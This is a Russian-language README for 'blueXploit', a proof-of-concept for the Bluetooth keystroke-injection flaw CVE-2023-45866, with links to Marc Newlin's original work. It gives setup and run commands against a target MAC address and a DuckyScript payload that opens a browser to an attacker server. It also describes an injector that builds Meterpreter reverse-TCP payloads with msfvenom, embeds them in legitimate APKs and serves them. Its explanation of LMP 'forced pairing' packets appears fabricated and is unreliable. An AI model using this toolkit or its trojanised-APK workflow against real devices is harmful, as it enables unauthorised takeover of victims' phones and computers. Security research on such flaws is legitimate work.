
Эксплойт на основе критических уязвимостей Bluetooth (CVE-2023-45866, CVE-2024-21306)
# blueXploit

[Видео blueXploit](https://www.youtube.com/watch?v=Zez8hKRI_7M)
- **blueXploit** — это мой собственный proof-of-concept, воспроизводящий **CVE-2023-45866**, уязвимость внедрения нажатий клавиш в Bluetooth, обнаруженную **Марком Ньюлином**. Она использует недостаток в протоколе Bluetooth для внедрения нажатий клавиш в целевое устройство **без сопряжения**, открывая путь для более сложных атак.
> **Атрибуция.** Уязвимость и оригинальный эксплойт — работа **Марка Ньюлина**
> ([hi_my_name_is_keyboard](https://github.com/marcnewlin/hi_my_name_is_keyboard)) — я **не** претендую
> на их обнаружение. Этот репозиторий — воспроизведение, созданное для понимания и документирования ошибки; поверх него
> blueXploit добавляет раннер полезных нагрузок в стиле DuckyScript, механизм переподключения/повторных попыток и опциональный
> помощник для внедрения Android APK. Всё здесь предназначено **только для образования и исследований**.
# Как работает уязвимость
Эти критические уязвимости ([CVE-2023-45866](https://www.infordisa.com/soc/vulnerabilidad-bluetooth/), CVE-2024-21306) позволяют атакующему внедрять нажатия клавиш и принимать запросы на сопряжение без подтверждения пользователя. Это критически влияет на безопасность множества операционных систем.
## Затронутые системы
- **Android**: с 4.2 по 14 (11–14, если отсутствует патч от 2023-12-05)
- **Linux**: требуется патч для BlueZ.
- **macOS**: с 12 по 14.2 (частичное исправление).
- **iOS**: 16 (уязвима), исправлено в iOS 17.2.
- **Windows**: исправлено в январском «Patch Tuesday» 2024 года.
## Воздействие
- Уязвимость позволяет удалённо управлять устройством, внедряя нажатия клавиш даже без принятия сопряжения Bluetooth, принудительно устанавливая соединение и выполняя команды с клавиатуры.
## Примеры атак
- **Удалённое выполнение команд**: управление уязвимыми устройствами через внедрённые нажатия клавиш, где
векторы атак многочисленны — от получения **shell** до **установки вредоносных приложений**.
- **Атаки типа «отказ в обслуживании» (DoS)**: переполнение устройств запросами на сопряжение.
## Меры по снижению риска
- Обновляйте устройства последними системными патчами.
- Отключайте Bluetooth, когда он не используется (это предотвращает запуск любого эксплойта для этой уязвимости).
- Избегайте сопряжения с неизвестными устройствами.
# blueXploit - использование и демонстрация
- Основано на [оригинальном эксплойте](https://github.com/marcnewlin/hi_my_name_is_keyboard) Марка Ньюлина.
- Установка зависимостей
```bash
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
```
## Использование APKPwn + blueXploit
**blueXploit** включает инструментарий для эксплуатации уязвимостей на устройствах Android, предлагая два основных компонента и дополнительную программу под названием **apkpwn_injector**, расположенную в папке **injector**.
### Возможности APKPwn
- Автоматизирует создание полезных нагрузок **android/meterpreter/reverse_tcp** с помощью **msfvenom**.
- Внедряет эти полезные нагрузки в существующие `.apk`-приложения в папке **apk_clean**.
- Настраивает локальный сервер для раздачи сгенерированных вредоносных приложений.
Эти функции обеспечивают эффективный и упрощённый процесс атаки в контролируемых средах или для тестирования на проникновение.

```bash
cd injector
python3 apkpwn_injector.py
```
## Создание или редактирование duckypayload
Команды клавиш, выполняемые blueXploit, загружаются из папки **/injector/payloads/** в формате **.txt** с простым и понятным синтаксисом.
### Пример duckypayload
```bash
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
```
Измените IP-адрес на адрес, где размещён сервер.
Обнаружение и перечисление устройств
```bash
bluetoothctl
```
Сканирование Bluetooth-устройств
```bash
scan on
```
Запуск
```bash
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
```
Затем выберите требуемую, предварительно настроенную полезную нагрузку.
## Демонстрация
Полная демонстрация в этом [видео](https://www.youtube.com/watch?v=Zez8hKRI_7M)
## Используемое оборудование
- Raspberry Pi 4
- Kali Linux ARM64
# Объяснение CVE-2023-45866
Эта уязвимость эксплуатируется на низком уровне протокола Bluetooth, главным образом манипулируя профилем HID и протоколом L2CAP, чтобы внедрять нажатия клавиш в устройство жертвы.
## 1. Протокол Bluetooth на низком уровне
Стек Bluetooth включает несколько уровней, таких как протокол управления связью (LMP), интерфейс хост-контроллера (HCI) и L2CAP. Эта атака в основном использует два последних:
- **HCI**: конфигурация адаптера изменяется так, чтобы он представлялся легитимным HID-устройством.
- **L2CAP**: отвечает за мультиплексирование данных между устройствами; L2CAP использует канал 17 (HID Control) и канал 19 (HID Interrupt) для HID-связи, что может быть использовано для отправки последовательностей клавиш.
## Эксплуатация CVE-2023-45866
CVE-2023-45866 — это уязвимость в протоколе управления связью (LMP), эксплуатируемая через атаку «принудительное сопряжение». Вот как это происходит технически:
- **LMP управляет запросами на сопряжение и конфигурацией соединения.**
- Повреждённые или неаутентифицированные LMP-пакеты отправляются для принудительного сопряжения, например так:
```bash
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
```
В этом кадре данных:
- `0x01`: запрос на сопряжение LMP
- `0x01`: запрос аутентификации LMP (PIN)
- `0x00 0x00 0x00 0x00`: информация о слабом PIN-коде, обычно 0000
Здесь эксплойт использует отсутствие конфигурации и аутентификации для этого пакета, что в итоге возвращает:
```bash
LMP Accept: 0x02 0x00 0x00 0x00 0x00
```
В этом кадре данных:
- `0x02`: запрос на сопряжение LMP **ПРИНЯТ**
- `0x00 0x00 0x00 0x00`: возвращённая повреждённая информация о PIN-коде
Если ключ не проверяется должным образом, соединение устанавливается, но без реального сопряжения, поэтому можно отправить LMP-пакет принудительного сопряжения так:
```bash
LMP Forced Pairing: 0x03 0x01 0x0000
```
Затем аутентификация может быть принудительно выполнена с использованием ранее раскрытых ключей (например, «0000»), и устанавливается зашифрованный канал связи, связывающий устройства без надлежащей проверки.
**Это создаёт сопряжение без ведома пользователя и даже без какого-либо окна сопряжения или уведомления.**
Недостаток этой CVE в том, что некоторые устройства не проверяют должным образом запросы аутентификации LMP или в итоге повторно используют старые ключи.
Поэтому, как только сопряжение с устройством установлено — бам! — остальное просто: в **blueXploit.py** адаптер и устройство действуют и подделывают идентификационные данные. В этом случае выполняются такие команды:
```bash
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # HID class (keyboard)
```
Код blueXploit
```python
# configure name and class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name
```
## Внедрение данных HID
```bash
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully
```
Объяснение байтового кадра HID:
:`a10100001e000000000000`
- `a1`: указывает тип HID-отчёта
- `01`: указывает использование интерфейса HID для входящих данных
- `00`: нажатие или отпускание клавиши
- `00 1e 00 00 00 00`: шестнадцатеричное значение, где `1e` соответствует букве `a`
Затем принимается **ACK** для подтверждения успешной передачи данных.
- blueXploit включает механизм переподключения и повторной отправки данных для обеспечения стабильной и без потерь связи, поэтому при обрыве соединения программа переподключается и продолжает отправлять HID-данные с предыдущей позиции/символа.
> **Предупреждение**: Этот материал и описанные в данном репозитории техники предназначены **строго для образовательных и исследовательских целей**. Инструменты проникновения и эксплуатации должны использоваться только на системах, на которые у вас есть **явное разрешение** на проверку. Несанкционированное использование этих техник на системах, которые вам не принадлежат, **запрещено** и **незаконно** во многих юрисдикциях. Любой ущерб или негативные последствия, вызванные неправильным использованием этого содержимого, являются исключительной ответственностью пользователя.
> Пользователям рекомендуется работать в контролируемых средах, таких как **тестовые лаборатории**, и соблюдать все местные законы и нормативные акты, касающиеся информационной безопасности и этичного взлома. ***удачного взлома :D***